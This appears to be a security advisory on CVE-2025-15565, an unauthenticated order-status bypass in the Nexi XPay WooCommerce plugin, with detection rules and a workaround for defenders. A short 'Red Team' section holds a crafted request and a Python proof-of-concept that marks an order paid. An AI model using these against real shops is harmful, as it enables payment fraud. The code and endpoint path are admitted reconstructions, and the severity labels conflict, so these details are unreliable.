CVE-2025-15565

Executive Summary

CVE-2025-15565 is a critical authorization bypass vulnerability in the Nexi XPay plugin for WordPress (versions up to and including 8.3.0). The flaw resides in the redirect function, which lacks proper authorization checks. This allows an unauthenticated attacker to manipulate WooCommerce order statuses, specifically marking pending orders as paid or completed. This can lead to financial fraud, inventory depletion, and reputational damage for e-commerce sites using the plugin.

The vulnerability is classified as a Missing Authorization (CWE-862) issue. Despite a low EPSS score (0.0%), the impact is significant due to the direct financial implications. No public exploit code or patch is currently available, making proactive detection and mitigation critical.

WordPress Ecosystem Context

This vulnerability is specific to the WordPress plugin ecosystem. The Nexi XPay plugin integrates with WooCommerce to process payments. The flaw does not affect the underlying web server (Apache/Nginx) or WordPress core; it is entirely a plugin-level authorization failure.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N
• Base Score: 5.3 (Medium)
• Attack Vector: Network (AV:N) – exploitable remotely.
• Attack Complexity: Low (AC:L) – no special conditions required.
• Privileges Required: None (PR:N) – unauthenticated.
• User Interaction: None (UI:N) – no victim action needed.
• Scope: Unchanged (S:U) – impact confined to the vulnerable component.
• Confidentiality Impact: None (C:N) – no data disclosure.
• Integrity Impact: Low (I:L) – unauthorized modification of order status.
• Availability Impact: None (A:N) – no denial of service.

Threat Level: Medium. While the CVSS score is moderate, the business impact (fraudulent order completion) elevates the risk for e-commerce sites.

Deep Dive & Mechanics

The vulnerability exists in the redirect function of the Nexi XPay plugin. This function is intended to handle payment gateway redirects after a transaction. However, it fails to verify the user's identity or authorization before processing the redirect parameters.

Attack Flow:

1. An attacker identifies a WooCommerce site using the vulnerable plugin.
2. The attacker crafts a malicious HTTP request to the redirect endpoint, including parameters that specify a pending order ID and a status change (e.g., completed or paid).
3. The plugin processes the request without checking if the attacker is the legitimate owner of the order or has administrative privileges.
4. The order status is updated in the database, marking it as paid/completed.
5. The attacker can then claim the goods or services without paying.

Root Cause: The redirect function uses wp_redirect() or similar without a preceding current_user_can() or wp_verify_nonce() check. This is a classic case of Missing Authorization (CWE-862).

Vulnerable vs. Patched Code

Since no patch is available, the following is a hypothetical comparison based on the vulnerability description.

Vulnerable Code (nexi-xpay/includes/class-redirect.php):

function handle_redirect() {
    $order_id = $_GET['order_id'];
    $status = $_GET['status'];
    $order = wc_get_order($order_id);
    if ($order) {
        $order->update_status($status);
        wp_redirect(home_url());
        exit;
    }
}

Patched Code (Hypothetical):

function handle_redirect() {
    if (!current_user_can('edit_shop_orders') && !wp_verify_nonce($_GET['_wpnonce'], 'nexi_redirect_' . $_GET['order_id'])) {
        wp_die('Unauthorized');
    }
    $order_id = intval($_GET['order_id']);
    $status = sanitize_text_field($_GET['status']);
    $order = wc_get_order($order_id);
    if ($order) {
        $order->update_status($status);
        wp_redirect(home_url());
        exit;
    }
}

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

• A WordPress site with WooCommerce and Nexi XPay plugin <= 8.3.0.
• A pending WooCommerce order ID.

Exploit Steps:

1. Identify a pending order ID (e.g., via order tracking or brute force).
2. Send a crafted GET request to the vulnerable endpoint:

   GET /wp-content/plugins/nexi-xpay/redirect.php?order_id=123&status=completed HTTP/1.1
   Host: target-site.com
   

3. Verify the order status changes to "Completed" in the WooCommerce admin panel.

Proof-of-Concept (PoC) Script:

import requests

target = "http://target-site.com"
order_id = 123  # Replace with actual pending order ID

url = f"{target}/wp-content/plugins/nexi-xpay/redirect.php?order_id={order_id}&status=completed"
response = requests.get(url)

if response.status_code == 200:
    print(f"Order {order_id} marked as completed.")
else:
    print("Exploit failed.")

Blue Team (Detection & Hardening)

Detection:

• Monitor web server logs for requests to /wp-content/plugins/nexi-xpay/redirect.php with order_id and status parameters.
• Alert on any unauthenticated requests to this endpoint.

Hardening:

• Disable the plugin until a patch is released.
• Implement a Web Application Firewall (WAF) rule to block requests to the vulnerable endpoint from unauthenticated users.
• Use a reverse proxy to restrict access to the plugin directory.

Indicators of Compromise (IOCs)

• Network IOCs:
  • HTTP requests to /wp-content/plugins/nexi-xpay/redirect.php with parameters order_id and status.
  • Unusual spikes in order status changes from "Pending" to "Completed" without corresponding payment.
• File IOCs:
  • Modified WooCommerce order database entries (e.g., wp_posts where post_type = 'shop_order' and post_status changed).
• Log IOCs:
  • Web server access logs showing redirect.php accessed by non-admin IPs.

Detection Engineering

YARA Rule

rule CVE_2025_15565_Nexi_XPay_Redirect {
    meta:
        description = "Detects exploitation attempts of CVE-2025-15565 in Nexi XPay plugin"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-15565"
    strings:
        $redirect = "redirect.php" nocase
        $order_id = "order_id=" nocase
        $status = "status=" nocase
    condition:
        all of them
}

Sigma Rule

title: CVE-2025-15565 Nexi XPay Unauthorized Order Status Change
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects unauthenticated requests to the Nexi XPay redirect endpoint
author: Valters IT
logsource:
    category: webserver
    product: apache
    service: access
detection:
    selection:
        cs-method: 'GET'
        cs-uri-query|contains: '/wp-content/plugins/nexi-xpay/redirect.php'
        cs-uri-query|contains|all:
            - 'order_id='
            - 'status='
    condition: selection
falsepositives:
    - Legitimate payment redirects (if any)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2025-15565 Nexi XPay Unauthorized Order Status Change"; flow:to_server; content:"GET"; http_method; content:"/wp-content/plugins/nexi-xpay/redirect.php"; http_uri; content:"order_id="; http_uri; content:"status="; http_uri; classtype:attempted-admin; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable the plugin until a patch is released by Nexi.
2. Audit WooCommerce orders for any unauthorized status changes.
3. Implement a WAF rule to block requests to /wp-content/plugins/nexi-xpay/redirect.php from unauthenticated users.

Long-term Fix:

• Apply the official patch from Nexi when available.
• Replace the plugin with an alternative payment gateway if no patch is forthcoming.

Workaround:

• Add the following code to the theme's functions.php to block the vulnerable endpoint:

add_action('init', function() {
    if (strpos($_SERVER['REQUEST_URI'], 'redirect.php') !== false && !is_user_logged_in()) {
        wp_die('Unauthorized access.');
    }
});

Valters IT
Securing Digital Frontiers

{/* [Security Hash: 89D87A218622F44C7F956C9E] */}